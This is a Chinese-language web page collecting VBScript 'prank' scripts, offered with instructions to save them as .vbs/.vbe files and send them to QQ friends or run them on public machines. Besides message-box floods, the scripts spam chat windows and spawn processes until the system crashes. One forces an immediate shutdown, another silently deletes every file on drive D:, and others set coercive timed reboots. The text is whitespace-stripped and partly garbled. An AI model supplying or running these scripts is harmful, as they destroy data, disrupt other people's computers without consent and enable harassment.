vbe整人代码

1vbe整人代码一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=复制代码代码如下:OnErrorResumeNextDimwsh,yesetwsh=createobject(wscript.shell)fori=1to10wscript.sleep700wsh.AppActivate(与xx聊天中)wsh.sendKeys^vwsh.sendKeysiwsh.sendKeys%snextwscript.quitQQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgboxYouarefoolish!loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------dimwshsetwsh=createobject(wscript.shell)dowsh.runcalcloop-----------------------------------------------------------------------------四、直接关机2-----------------------------------------------------------------------------imWSHshellsetWSHshell=wscript.createobject(wscript.shell)WSHshell.runshutdown-f-s-t00,0,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject(wscript.shell)WSHshell.runcmd/cdeld:\*.*/f/q/s,0,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------复制代码代码如下:while(1)msgbox哈哈你被耍了！loop----------------------------------------------------------------------------七、不断按下alt+f4（开什么都关闭……）---------------------------------------------------------------------------复制代码代码如下:dimWSHshellsetWSHshell=wscript.createobject(wscript.shell)while(1)WSHshell.SendKeys%{F4}loop八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中dountils=500，500可以随意更改)复制代码代码如下:dimsdountils=500s=s+1msgbox哥们，给我按500次回车吧,64loop------------------------------------------------------------------------------------九、关不掉的窗口复制代码代码如下:WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！&TSName)3WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉，这你都不知道吗？)WScript.Echo(怎么才来，说~是不是不关心我)WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)WScript.Echo(小强很生气，后果很严重哦。)WScript.Echo(嘿嘿！你也会很惨滴哦)WScript.Echo(是不是想清除我？)WScript.Echo(那你要点上50下哦，不过会给你惊喜滴)WScript.Echo(还剩49下，快点点哦)WScript.Echo(还剩48下，快点，小笨蛋！)WScript.Echo(还剩47下对，就这样快点点！)WScript.Echo(还剩46下。你啊就是笨，要快哦，我先不打扰你工作。)WScript.Echo(还剩45下，记得要快哦！)WScript.Echo(还剩43下)WScript.Echo(还剩42下)WScript.Echo(还剩41下)WScript.Echo(还剩40下)WScript.Echo(还剩39下)WScript.Echo(还剩38下)WScript.Echo(还剩37下)WScript.Echo(还剩36下)WScript.Echo(还剩35下)WScript.Echo(还剩34下)WScript.Echo(还剩33下)WScript.Echo(还剩32下)WScript.Echo(还剩30下)WScript.Echo(还剩29下)WScript.Echo(还剩28下)WScript.Echo(还剩27下)WScript.Echo(还剩26下)WScript.Echo(还剩25下)WScript.Echo(还剩24下)WScript.Echo(还剩23下)WScript.Echo(还剩22下)WScript.Echo(还剩21下)WScript.Echo(还剩20下)WScript.Echo(还剩19下)WScript.Echo(还剩18下)WScript.Echo(还剩17下)WScript.Echo(还剩16下)WScript.Echo(还剩15下)WScript.Echo(还剩14下)WScript.Echo(还剩13下停停！！！慢点，我有话要说)WScript.Echo(还剩12下，你继续点我就会消失滴)4WScript.Echo(还剩11下，以后就看不到我拉。555555)WScript.Echo(还剩10下，你现在可以选择停止！)WScript.Echo(还剩9下。你还点啊，不要我拉？)WScript.Echo(还剩8下，有点伤心拉，干嘛丢弃人家)WScript.Echo(还剩7下。疯了，你有点负意！)WScript.Echo(还剩6下。对。你就点吧，我恨你！)WScript.Echo(还剩5下，不明白，删除我你就好吗？)WScript.Echo(还剩4下！真要删除我？)WScript.Echo(还剩3下。可是我真的很眷恋你。。。)WScript.Echo(还剩2下。不要这么绝情嘛，人家是爱你的！)WScript.Echo(还剩1下。哼，既然你这么绝情。也别怪我无义！！！)WScript.Echo(我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)十、两个整人的VBS脚本测试环境：Windows2003系统第一个是定时关机的如果把他发给你的QQ好友，他不懂的话，电脑就会在你设定的时间内关机，我设置的是3分钟，只要输入就解除了，当然如果不输的话也有解除的办法，我们来看下这个脚本。复制代码代码如下:onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject(wscript.shell)WSHshellA.runcmd.exe/cshutdown-r-t180-c说我是猪，不说我是猪就一分钟关机，不信，试下???,0,truedimadowhile(a我是猪)a=inputbox(说我是猪,就不关机，快撒，说我是猪,说不说,,8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,MsgBoxloopmsgboxchr(13)+chr(13)+chr(13)+早说就行了嘛dimWSHshellsetWSHshell=wscript.createobject(wscript.shell)WSHshell.runcmd.exe/cshutdown-a,0,truemsgboxchr(13)+chr(13)+chr(13)+哈哈哈哈，好乖5新建一个记事本，把上面的代码复制进去，另存为VBE格式的就可以了。cmd.exe/cshutdown-r-t180-c这里的数字可以修改关机时间180秒，这些文字也可以自设，这个脚本启用cmd里的关机程序。如果不输的的话，可以打开任务管理器，输入shutdown-a来解除，我们试下，这时定时关机已经没了，但是还有个关不掉的窗口，我们打开任务管理器，结束掉Wscript.exe这个进程就OK了，这时就完全解除这个脚本了Wscript时Windows脚本宿主。-------------------------------------------------------------------------------------------第二个整人的脚本-------------------------------------------------------------------------------------------复制代码代码如下:setws=createobject(wscript.shell)callshutdown(1)dowhilea我是猪a=inputbox(快在下面的框框里输入我是猪,否则后果自负，快输我是猪,输不输,)loopcallshutdown(2)msgbox早说就行了嘛,4096+64msgbox再输一遍我是猪!,4096+64msgbox我是猪!,4096+64MsgBox最后一次!,4096+64MsgBox如果你很快的点过去,不看的话,4096+64MsgBox我就要你踩我空间的!哼!,4096+64MsgBox从前有座山!,4096+64MsgBox山里有个庙.,4096+64MsgBox庙里有个老和尚在讲故事.,4096+64ws.runiexplore.exe哎呀累了！数绵羊哄我睡觉,4096+64fori=1to100MsgBoxi&只绵羊,4096+64nextmsgbox哎呀我困了，这次就饶过你吧，下次注意哦!,4096+64msgbox最后问个问题，我是不是大好